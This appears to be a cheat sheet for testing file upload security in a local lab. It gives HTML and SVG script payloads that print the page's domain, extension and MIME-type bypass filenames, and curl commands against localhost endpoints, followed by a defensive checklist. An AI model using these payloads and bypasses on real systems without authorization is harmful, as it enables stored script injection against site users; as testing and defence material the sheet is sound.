Use this as a quick reference while testing file upload handling in labs and authorized assessments.
Common Targets
avatar
profile picture
support attachment
document upload
report import
CSV import
image upload
PDF upload
archive upload
admin restore
theme upload
template upload
File Type Tests
Plain text:
proof.txt
HTML proof:
<!doctype html>
<script>
document.body.innerText = document.domain;
</script>
SVG proof:
<svg xmlns="http://www.w3.org/2000/svg" width="600" height="120" onload="document.querySelector('text').textContent=document.domain">
<text x="20" y="60">waiting</text>
</svg>
Tiny PNG:
printf 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+/p9sAAAAASUVORK5CYII=' | base64 -d > proof.png
Extension Checks
Try:
proof.html
proof.svg
proof.txt
proof.php.txt
proof.txt.html
proof.HTML
proof.jpg
proof.svgz
Watch for:
case-sensitive checks
last-extension-only checks
blacklists
missing SVG handling
original filename reuse
stored filename predictability
MIME Checks
Send a chosen content type:
curl -i -X POST "http://127.0.0.1:5000/file-uploads/basic" \
-F "file=@upload-proof.html;type=text/html"
SVG as image:
curl -i -X POST "http://127.0.0.1:5000/file-uploads/better" \
-F "file=@upload-proof.svg;type=image/svg+xml"
Mismatch extension and MIME:
curl -i -X POST "http://127.0.0.1:5000/file-uploads/better" \
-F "file=@upload-proof.svg;filename=proof.jpg;type=image/svg+xml"
Client-supplied Content-Type is not proof of file safety.
Lab curl Checks
Basic upload:
curl -i -X POST "http://127.0.0.1:5000/file-uploads/basic" \
-F "file=@upload-proof.html;type=text/html"
Weak blacklist bypass:
curl -i -X POST "http://127.0.0.1:5000/file-uploads/blacklist" \
-F "file=@upload-proof.html;type=text/html"
Better-stage SVG exploit:
curl -i -X POST "http://127.0.0.1:5000/file-uploads/better" \
-F "file=@upload-proof.svg;type=image/svg+xml"
Fixed SVG rejection:
curl -i -X POST "http://127.0.0.1:5000/file-uploads/fixed" \
-F "file=@upload-proof.svg;type=image/svg+xml"
Fixed PNG acceptance:
curl -i -X POST "http://127.0.0.1:5000/file-uploads/fixed" \
-F "file=@proof.png;type=image/png"
Response Checks
Check headers:
curl -I "http://127.0.0.1:5000/file-uploads/files/basic/upload-proof.html"
Look for:
Content-Type
Content-Disposition
X-Content-Type-Options
Cache-Control
Riskier responses:
Content-Type: text/html
Content-Type: image/svg+xml
inline rendering
missing X-Content-Type-Options: nosniff
same-origin upload URL
Defensive Review
Confirm:
- The application uses allowlists instead of blacklists.
- The server checks magic bytes for accepted file types.
- The server generates stored filenames.
- Uploads are not stored in executable directories.
- Active formats such as HTML and SVG are blocked or isolated.
- Untrusted uploads are served from a separate origin when possible.
- Files that do not need inline rendering are served as attachments.
- Upload size limits are enforced.
- Upload download routes enforce authorization.
- Rejected uploads are logged.